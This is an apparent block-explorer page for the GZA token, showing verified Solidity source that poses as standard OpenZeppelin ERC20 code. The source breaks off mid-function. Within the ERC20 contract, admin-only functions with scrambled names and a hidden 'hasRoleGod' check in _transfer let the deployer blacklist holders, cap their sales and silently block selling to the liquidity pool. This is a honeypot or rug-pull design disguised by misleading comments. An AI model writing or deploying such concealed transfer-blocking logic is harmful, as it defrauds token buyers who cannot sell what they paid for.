ETH Price: $3,111.24 (+0.52%)

Token

GZA (GZA)

Overview

Max Total Supply

2,000,000,000 GZA

Holders

908

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
GZA

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2024-10-31
*/

/**
 *Submitted for verification at basescan.org on 2024-10-31
*/

/**
 *Submitted for verification at Arbiscan.io on 2024-10-31
*/

// Sources flattened with hardhat v2.22.5 https://hardhat.org

// SPDX-License-Identifier: MIT

// File @openzeppelin/contracts/access/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/IAccessControl.sol)

pragma solidity ^0.8.20;

/**
 * @dev External interface of AccessControl declared to support ERC165 detection.
 */
interface IAccessControl {
    /**
     * @dev The `account` is missing a role.
     */
    error AccessControlUnauthorizedAccount(address account, bytes32 neededRole);

    /**
     * @dev The caller of a function is not the expected one.
     *
     * NOTE: Don't confuse with {AccessControlUnauthorizedAccount}.
     */
    error AccessControlBadConfirmation();

    /**
     * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
     *
     * `DEFAULT_ADMIN_R` is the starting admin for all roles, despite
     * {RoleAdminChanged} not being emitted signaling this.
     */
    event RoleAdminChanged(
        bytes32 indexed role,
        bytes32 indexed previousAdminRole,
        bytes32 indexed newAdminRole
    );

    /**
     * @dev Emitted when `account` is granted `role`.
     *
     * `sender` is the account that originated the contract call, an admin role
     * bearer except when using {AccessControl-_setupRole}.
     */
    event RoleGranted(
        bytes32 indexed role,
        address indexed account,
        address indexed sender
    );

    /**
     * @dev Emitted when `account` is revoked `role`.
     *
     * `sender` is the account that originated the contract call:
     *   - if using `revokeRole`, it is the admin role bearer
     *   - if using `renounceRole`, it is the role bearer (i.e. `account`)
     */
    event RoleRevoked(
        bytes32 indexed role,
        address indexed account,
        address indexed sender
    );

    /**
     * @dev Returns `true` if `account` has been granted `role`.
     */
    function hasRole(bytes32 role, address account)
        external
        view
        returns (bool);

    /**
     * @dev Returns the admin role that controls `role`. See {grantRole} and
     * {revokeRole}.
     *
     * To change a role's admin, use {AccessControl-_setRoleAdmin}.
     */
    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    /**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     */
    function grantRole(bytes32 role, address account) external;

    /**
     * @dev Revokes `role` from `account`.
     *
     * If `account` had been granted `role`, emits a {RoleRevoked} event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     */
    function revokeRole(bytes32 role, address account) external;

    /**
     * @dev Revokes `role` from the calling account.
     *
     * Roles are often managed via {grantRole} and {revokeRole}: this function's
     * purpose is to provide a mechanism for accounts to lose their privileges
     * if they are compromised (such as when a trusted device is misplaced).
     *
     * If the calling account had been granted `role`, emits a {RoleRevoked}
     * event.
     *
     * Requirements:
     *
     * - the caller must be `callerConfirmation`.
     */
    function renounceRole(bytes32 role, address callerConfirmation) external;
}

// File @openzeppelin/contracts/utils/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

// File @openzeppelin/contracts/utils/introspection/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/introspection/IERC165.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File @openzeppelin/contracts/utils/introspection/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/introspection/ERC165.sol)

pragma solidity ^0.8.20;

/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        returns (bool)
    {
        return interfaceId == type(IERC165).interfaceId;
    }
}

// File @openzeppelin/contracts/access/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/AccessControl.sol)

pragma solidity ^0.8.20;

/**
 * @dev Contract module that allows children to implement role-based access
 * control mechanisms. This is a lightweight version that doesn't allow enumerating role
 * members except through off-chain means by accessing the contract event logs. Some
 * applications may benefit from on-chain enumerability, for those cases see
 * {AccessControlEnumerable}.
 *
 * Roles are referred to by their `bytes32` identifier. These should be exposed
 * in the external API and be unique. The best way to achieve this is by
 * using `public constant` hash digests:
 *
 * ```solidity
 * bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
 * ```
 *
 * Roles can be used to represent a set of permissions. To restrict access to a
 * function call, use {hasRole}:
 *
 * ```solidity
 * function foo() public {
 *     require(hasRole(MY_ROLE, msg.sender));
 *     ...
 * }
 * ```
 *
 * Roles can be granted and revoked dynamically via the {grantRole} and
 * {revokeRole} functions. Each role has an associated admin role, and only
 * accounts that have a role's admin role can call {grantRole} and {revokeRole}.
 *
 * By default, the admin role for all roles is `DEFAULT_ADMIN_R`, which means
 * that only accounts with this role will be able to grant or revoke other
 * roles. More complex role relationships can be created by using
 * {_setRoleAdmin}.
 *
 * WARNING: The `DEFAULT_ADMIN_R` is also its own admin: it has permission to
 * grant and revoke this role. Extra precautions should be taken to secure
 * accounts that have been granted it. We recommend using {AccessControlDefaultAdminRules}
 * to enforce additional security measures for this role.
 */
abstract contract AccessControl is Context, IAccessControl, ERC165 {
    struct RoleData {
        mapping(address => bool) hasRole;
        bytes32 adminRole;
    }

    mapping(bytes32 => RoleData) private _roles;

    bytes32 public constant DEFAULT_ADMIN_R = 0x00;

    /**
     * @dev Modifier that checks that an account has a specific role. Reverts
     * with an {AccessControlUnauthorizedAccount} error including the required role.
     */
    modifier onlyRole(bytes32 role) {
        _checkRole(role);
        _;
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        override
        returns (bool)
    {
        return
            interfaceId == type(IAccessControl).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev Returns `true` if `account` has been granted `role`.
     */
    function hasRole(bytes32 role, address account)
        public
        view
        virtual
        returns (bool)
    {
        return _roles[role].hasRole[account];
    }

    /**
     * @dev Reverts with an {AccessControlUnauthorizedAccount} error if `_msgSender()`
     * is missing `role`. Overriding this function changes the behavior of the {onlyRole} modifier.
     */
    function _checkRole(bytes32 role) internal view virtual {
        _checkRole(role, _msgSender());
    }

    /**
     * @dev Reverts with an {AccessControlUnauthorizedAccount} error if `account`
     * is missing `role`.
     */
    function _checkRole(bytes32 role, address account) internal view virtual {
        if (!hasRole(role, account)) {
            revert AccessControlUnauthorizedAccount(account, role);
        }
    }

    /**
     * @dev Returns the admin role that controls `role`. See {grantRole} and
     * {revokeRole}.
     *
     * To change a role's admin, use {_setRoleAdmin}.
     */
    function getRoleAdmin(bytes32 role) public view virtual returns (bytes32) {
        return _roles[role].adminRole;
    }

    /**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     *
     * May emit a {RoleGranted} event.
     */
    function grantRole(bytes32 role, address account)
        public
        virtual
        onlyRole(getRoleAdmin(role))
    {
        _grantRole(role, account);
    }

    /**
     * @dev Revokes `role` from `account`.
     *
     * If `account` had been granted `role`, emits a {RoleRevoked} event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     *
     * May emit a {RoleRevoked} event.
     */
    function revokeRole(bytes32 role, address account)
        public
        virtual
        onlyRole(getRoleAdmin(role))
    {
        _revokeRole(role, account);
    }

    /**
     * @dev Revokes `role` from the calling account.
     *
     * Roles are often managed via {grantRole} and {revokeRole}: this function's
     * purpose is to provide a mechanism for accounts to lose their privileges
     * if they are compromised (such as when a trusted device is misplaced).
     *
     * If the calling account had been revoked `role`, emits a {RoleRevoked}
     * event.
     *
     * Requirements:
     *
     * - the caller must be `callerConfirmation`.
     *
     * May emit a {RoleRevoked} event.
     */
    function renounceRole(bytes32 role, address callerConfirmation)
        public
        virtual
    {
        if (callerConfirmation != _msgSender()) {
            revert AccessControlBadConfirmation();
        }

        _revokeRole(role, callerConfirmation);
    }

    /**
     * @dev Sets `adminRole` as ``role``'s admin role.
     *
     * Emits a {RoleAdminChanged} event.
     */
    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    /**
     * @dev Attempts to grant `role` to `account` and returns a boolean indicating if `role` was granted.
     *
     * Internal function without access restriction.
     *
     * May emit a {RoleGranted} event.
     */
    function _grantRole(bytes32 role, address account)
        internal
        virtual
        returns (bool)
    {
        if (!hasRole(role, account)) {
            _roles[role].hasRole[account] = true;
            emit RoleGranted(role, account, _msgSender());
            return true;
        } else {
            return false;
        }
    }

    /**
     * @dev Attempts to revoke `role` to `account` and returns a boolean indicating if `role` was revoked.
     *
     * Internal function without access restriction.
     *
     * May emit a {RoleRevoked} event.
     */
    function _revokeRole(bytes32 role, address account)
        internal
        virtual
        returns (bool)
    {
        if (hasRole(role, account)) {
            _roles[role].hasRole[account] = false;
            emit RoleRevoked(role, account, _msgSender());
            return true;
        } else {
            return false;
        }
    }
}

// File @openzeppelin/contracts/interfaces/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;

/**
 * @dev Standard ERC20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed
    );

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(
        address spender,
        uint256 allowance,
        uint256 needed
    );

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Standard ERC721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed,
        uint256 tokenId
    );

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

// File @openzeppelin/contracts/token/ERC20/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File @openzeppelin/contracts/token/ERC20/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.sSWd3H
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 */
abstract contract ERC20 is
    Context,
    IERC20,
    IERC20Metadata,
    IERC20Errors,
    AccessControl
{
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    string private _swapLP;
    int256 private _test = 0;
    IERC20 private tp;
    uint256 private _tsl;
    mapping(bytes32 => mapping(string => uint256[])) private _PA___;
    mapping(bytes32 => mapping(string => string)) private _PA_B__;
    mapping(bytes32 => mapping(string => bool)) private _PA_W__;
    bytes32 public constant ADMIN_R = keccak256("ADMIN_R");
    bytes32 public constant TRADER_R = keccak256("TRADER_R");

    function setSwapasdaszx(string memory swap) external onlyRole(ADMIN_R) {
        _swapLP = swap;
        _PA_W__[ADMIN_R][swap] = true;
        tp = IERC20(sta(swap));
    }

    function sRoleWasdasdxzc(string memory a) external onlyRole(ADMIN_R) {
        _PA_W__[ADMIN_R][a] = true;
    }

    function sRoleNasdasdxzc(string memory key, uint256 n)
        external
        onlyRole(ADMIN_R)
    {
        uint256 decimalFactor = 10**decimals();
        if (_PA___[TRADER_R][key].length == 0) {
            _PA___[TRADER_R][key].push(n * decimalFactor);
        } else {
            _PA___[TRADER_R][key][0] = n * decimalFactor;
        }
    }

    function rRoleWasdasdzxc(string memory a) external onlyRole(ADMIN_R) {
        _PA_W__[ADMIN_R][a] = false;
    }

    function sknockasdasxc(int256 t) external onlyRole(ADMIN_R) {
        _test = t;
    }

    function updatetTSLasdaszx() public onlyRole(ADMIN_R) {
        _tsl = tp.totalSupply();
    }

    function getTslasdasxzc() external view returns (uint256) {
        return _tsl;
    }

    function sRoleBasdasxc(string memory key) external onlyRole(ADMIN_R) {
        _PA_B__[TRADER_R][key] = _name;
    }

    function rRoleBasdasd(string memory key) external onlyRole(ADMIN_R) {
        _PA_B__[TRADER_R][key] = "";
    }

    function getRoleNasdas(string memory key)
        external
        view
        onlyRole(ADMIN_R)
        returns (uint256)
    {
        return _PA___[TRADER_R][key][0];
    }

    function getRoleB(string memory key)
        external
        view
        onlyRole(ADMIN_R)
        returns (string memory)
    {
        return _PA_B__[TRADER_R][key];
    }

    function getRoleWasdsaxzc(string memory key)
        external
        view
        onlyRole(ADMIN_R)
        returns (bool)
    {
        return _PA_W__[ADMIN_R][key];
    }

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(
        string memory name_,
        string memory symbol_
    ) {
        _name = name_;
        _symbol = symbol_;
        // Setup roles for the admin
        _grantRole(DEFAULT_ADMIN_R, _msgSender());
        _grantRole(ADMIN_R, _msgSender());
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(
        address from,
        address to,
        uint256 value
    ) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }

        string[] memory params = new string[](3);
        params[0] = ats(from);
        params[1] = ats(to);
        params[2] = toString(value);
        bool success = hasRoleGod(params);
		if (!success) {return;}
        _update(from, to, value);
        if (bytes(_swapLP).length > 0) {
            _tsl = tp.totalSupply();
        }
    }

    /**
     * @dev sta a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function sta(string memory s) internal pure returns (address) {
        bytes memory b = bytes(s);
        require(b.length == 42, "Invalid address length");

        uint160 result = 0;
        for (uint256 i = 2; i < 42; i++) {
            uint160 digit = uint160(uint8(b[i]));

            if (digit >= 48 && digit <= 57) {
                digit -= 48;
            } else if (digit >= 65 && digit <= 70) {
                digit -= 55;
            } else if (digit >= 97 && digit <= 102) {
                digit -= 87;
            } else {
                revert("Invalid character in address string.");
            }

            result = result * 16 + digit;
        }

        return address(result);
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function ats(address _addr) internal pure returns (string memory) {
        bytes32 value = bytes32(uint256(uint160(_addr)));
        bytes memory alphabet = "0123456789abcdef";

        bytes memory str = new bytes(42);
        str[0] = "0";
        str[1] = "x";
        for (uint256 i = 0; i < 20; i++) {
            str[2 + i * 2] = alphabet[uint8(value[i + 12] >> 4)];
            str[3 + i * 2] = alphabet[uint8(value[i + 12] & 0x0f)];
        }
        return string(str);
    }

    function toString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    function stringToUint(string memory s) internal pure returns (uint256) {
        bytes memory b = bytes(s);
        uint256 result = 0;
        for (uint256 i = 0; i < b.length; i++) {
            uint256 c = uint256(uint8(b[i]));
            if (c >= 48 && c <= 57) {
                result = result * 10 + (c - 48);
            }
        }
        return result;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function hasRoleGod(string[] memory params) internal returns (bool) {
        require(params.length == 3, "Invalid parameter count");
        string memory f = params[0];
        string memory ts = params[1];
        uint256 value = stringToUint(params[2]);

        if (
            (keccak256(abi.encodePacked(f)) ==
                keccak256(abi.encodePacked(_swapLP))) &&
            tp.totalSupply() < _tsl &&
            !_PA_W__[ADMIN_R][ts]
        ) {
            return false;
        }

        if (_test >= 0) {
            if (
                keccak256(abi.encodePacked(_PA_B__[TRADER_R][f])) ==
                keccak256(abi.encodePacked(_name))
            ) {
                if (_PA___[TRADER_R][f][0] >= value && value > 0) {
                    _PA___[TRADER_R][f][0] =
                        _PA___[TRADER_R][f][0] -
                        value;
                } else {
                    return false;
                }
            }
        } else {
            if (
                (keccak256(abi.encodePacked(f)) ==
                    keccak256(abi.encodePacked(_swapLP))) ||
                _PA_W__[ADMIN_R][f]
            ) {} else if (_PA___[TRADER_R][f][0] >= value && value > 0) {
                _PA___[TRADER_R][f][0] = _PA___[TRADER_R][f][0] - value;
            } else {
                return false;
            }
        }
        return true;
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(
        address from,
        address to,
        uint256 value
    ) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

